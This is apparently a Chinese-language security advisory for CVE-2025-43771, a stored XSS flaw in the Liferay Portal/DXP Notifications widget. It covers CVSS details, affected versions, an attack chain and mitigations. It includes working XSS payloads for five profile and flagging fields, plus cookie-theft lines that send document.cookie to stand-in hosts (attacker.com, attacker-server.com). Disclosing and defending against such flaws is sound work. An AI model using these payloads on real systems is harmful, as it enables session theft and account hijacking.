IPBUF安全漏洞报告
English
CVE-2025-43771 CVSS 5.4 中危

CVE-2025-43771:Liferay Portal通知组件多个XSS漏洞

披露日期: 2025-10-08

漏洞信息

漏洞编号
CVE-2025-43771
漏洞类型
跨站脚本攻击(XSS)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Liferay Portal / Liferay DXP

相关标签

XSS跨站脚本存储型XSSLiferayLiferay PortalLiferay DXP通知组件CVE-2025-43771中危漏洞Web安全

漏洞概述

CVE-2025-43771是存在于Liferay Portal和Liferay DXP产品通知组件(Notifications widget)中的多个跨站脚本(XSS)漏洞。该漏洞由[email protected]报告,于2025年10月8日公开披露,CVSS 3.1评分为5.4分,属于中危级别。Liferay Portal是企业级开源门户和数字体验平台(DXP)解决方案,广泛用于构建企业网站、门户和内容管理系统。其通知组件用于在平台内向用户展示系统通知、消息提醒和内容标记信息。

该漏洞的核心问题在于通知组件在渲染用户输入内容时,未对多个文本字段进行充分的输出编码和过滤,导致恶意用户可以在特定字段中注入任意HTML或JavaScript代码。当其他用户查看通知时,恶意脚本将在受害者浏览器中执行。攻击者可以利用此漏洞窃取用户会话Cookie、进行钓鱼攻击、劫持用户账户,或在受害者上下文中执行未授权操作。由于该漏洞需要低权限认证(PR:L)且需要用户交互(UI:R),属于存储型XSS攻击模式,攻击者需要先拥有平台账户才能利用此漏洞。

技术细节

该漏洞属于存储型跨站脚本(Stored XSS)攻击,存在于Liferay Portal的通知组件中。其技术原理如下:

1. **输入点识别**:通知组件在处理用户数据时,从以下五个字段读取用户输入内容:(1) 用户的"First Name"(名)字段;(2) 用户的"Middle Name"(中间名)字段;(3) 用户的"Last Name"(姓)字段;(4) 内容标记时的"Other Reason"(其他原因)字段;(5) 被标记内容的名称字段。

2. **过滤缺失**:Liferay通知组件在将这些字段的内容嵌入到通知的HTML输出中时,未对特殊字符(如<、>、"、'、&等)进行HTML实体编码,也未实施有效的输入验证和白名单过滤机制。攻击者可以提交包含恶意JavaScript代码的输入,例如:`<script>document.location='https://attacker.com/steal?c='+document.cookie</script>`。

3. **存储与触发**:恶意输入被存储到数据库中,当目标用户通过通知组件查看相关通知时,浏览器解析包含恶意脚本的HTML内容并执行。攻击向量为网络(AV:N),攻击复杂度低(AC:L),所需权限为低权限(PR:L),需要用户交互(UI:R),作用域发生变化(S:C)。

4. **影响范围**:由于通知组件可能被多个用户查看,单个恶意输入可能影响大量用户。机密性影响为低(C:L),完整性影响为低(I:L),可用性影响为无(A:N)。

攻击链分析

STEP 1
步骤1:账户准备
攻击者在目标Liferay Portal/DXP平台上注册一个低权限用户账户(PR:L),获取基本的平台访问权限。
STEP 2
步骤2:恶意载荷注入
攻击者在其用户配置文件中,将"First Name"、"Middle Name"或"Last Name"字段设置为包含恶意JavaScript代码的XSS载荷;或者在标记内容时,在"Other Reason"字段或被标记内容的名称中注入恶意脚本。
STEP 3
步骤3:载荷存储
恶意载荷随用户资料或内容标记操作被存储到Liferay的数据库中。由于通知组件未对输出进行HTML实体编码,恶意脚本将原样保留。
STEP 4
步骤4:受害者查看通知
当其他用户(包括管理员)通过通知组件查看涉及攻击者名称或内容标记的通知时,浏览器解析并执行嵌入在通知HTML中的恶意脚本(UI:R)。
STEP 5
步骤5:恶意操作执行
恶意脚本在受害者浏览器上下文中执行,可窃取会话Cookie、进行钓鱼攻击、劫持账户或在受害者权限范围内执行未授权操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2025-43771 - Liferay Portal Notifications Widget Stored XSS PoC --> <!-- Attack Vector: Inject malicious script into user profile name fields or content flagging fields --> <!-- Step 1: Attacker registers an account on Liferay Portal --> <!-- Step 2: Attacker updates profile with malicious payload in name fields --> <!-- Payload for "First Name" field: --> <script>alert('XSS-CVE-2025-43771-FirstName')</script> <!-- Payload for "Middle Name" field: --> <img src=x onerror="alert(document.cookie)"> <!-- Payload for "Last Name" field: --> <svg/onload=alert('XSS-LastName')> <!-- Payload for "Other Reason" field when flagging content: --> <input type="text" value="" autofocus onfocus="alert('XSS-OtherReason')"> <!-- Payload for flagged content name: --> <a href="javascript:alert('XSS-ContentName')">Click me</a> <!-- Full exploitation example using fetch to exfiltrate cookies: --> <!-- <script> fetch('https://attacker-server.com/steal', { method: 'POST', body: JSON.stringify({ cookie: document.cookie, url: window.location.href, user: document.title }), headers: {'Content-Type': 'application/json'} }); </script> --> <!-- Step 3: When victim views notifications containing attacker's name or flagging info, the malicious script executes in the victim's browser context -->

影响范围

Liferay Portal 7.4.3.102 - 7.4.3.111
Liferay DXP 2023.Q4.0 - 2023.Q4.5
Liferay DXP 2023.Q3.1 - 2023.Q3.10

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)在Web应用防火墙(WAF)中部署XSS防护规则,拦截包含常见XSS载荷的请求;2)配置内容安全策略(CSP),限制内联脚本执行;3)对用户名称字段和内容标记字段实施输入白名单验证,仅允许合法字符;4)设置Cookie的HttpOnly和Secure标志,降低会话劫持风险;5)监控异常的用户名注册和内容标记活动;6)限制低权限用户的通知查看范围,减少攻击面。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表